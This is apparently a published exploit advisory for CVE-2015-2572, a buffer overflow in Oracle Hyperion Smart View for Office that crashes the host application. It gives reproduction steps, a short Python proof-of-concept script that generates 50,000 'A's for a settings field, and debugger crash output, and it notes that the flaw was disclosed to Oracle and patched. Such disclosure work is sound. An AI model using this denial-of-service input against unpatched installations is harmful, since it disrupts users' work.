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# Exploit Title: Buffer Overflow in Oracle Hyperion Smart View for Office
[DOS]
# Exploit Author: sajith
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
#Vulnerable Link:
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1
[x64],en-us
#plugin tested with Microsoft Excel 2010
#CVE: CVE-2015-2572
Responsible Disclosure:
Reported to Oracle on Jul 7, 2014
patch released on April 14, 2015
How to reproduce the bug?
1)install "Smart view" and open Microsoft excel and click on "smart view"
tab
2)click on "Options" and then click on "Advanced" tab
3) In General menu in "shared Connections URL" enter large value say 50000
"A"'s and press ok, the application crashes, the output of the crash
analyzed in debugger is shown below
Note:Plugin once installed automatically integrates with Microsoft office
products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability
can be exploited via any of these products.
==================python script to create 50000 "A"'s============
try:
print "POC by sajith shetty"
f = open("text.txt","w")
junk = "A" * 50000
f.write(junk)
print "done"
except Exception, e:
print "error- " + str(e)
Debugger o/p:
eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061
edi=0041005d
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0 nv up ei pl nz na pe
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
efl=00010206
ntdll!RtlEnterCriticalSection+0x12:
779622d2 f00fba3000 lock btr dword ptr [eax],0
ds:002b:00410061=????????
caused by MODULE_NAME: HsAddin
start end module name
0fb50000 111a0000 HsAddin (export symbols)
C:\Oracle\SmartView\bin\HsAddin.dll
Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
Image path: C:\Oracle\SmartView\bin\HsAddin.dll
Image name: HsAddin.dll
Timestamp: Wed Mar 27 04:27:50 2013 (515227EE)
CheckSum: 0163F951
ImageSize: 01650000
File version: 11.1.2.3085
Product version: 11.1.2.3085
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Oracle Corporation
ProductName: Oracle Hyperion Smart View for Office, Fusion Edition
InternalName: CommonAddin
ProductVersion: 11.1.2.3.000.157
FileVersion: 11.1.2.3085
FileDescription: Oracle Hyperion Smart View for Office, Fusion Edition
LegalCopyright: Copyright 2004, 2013 Oracle Corporation. All rights
reserved
LegalTrademarks: Oracle is registered.
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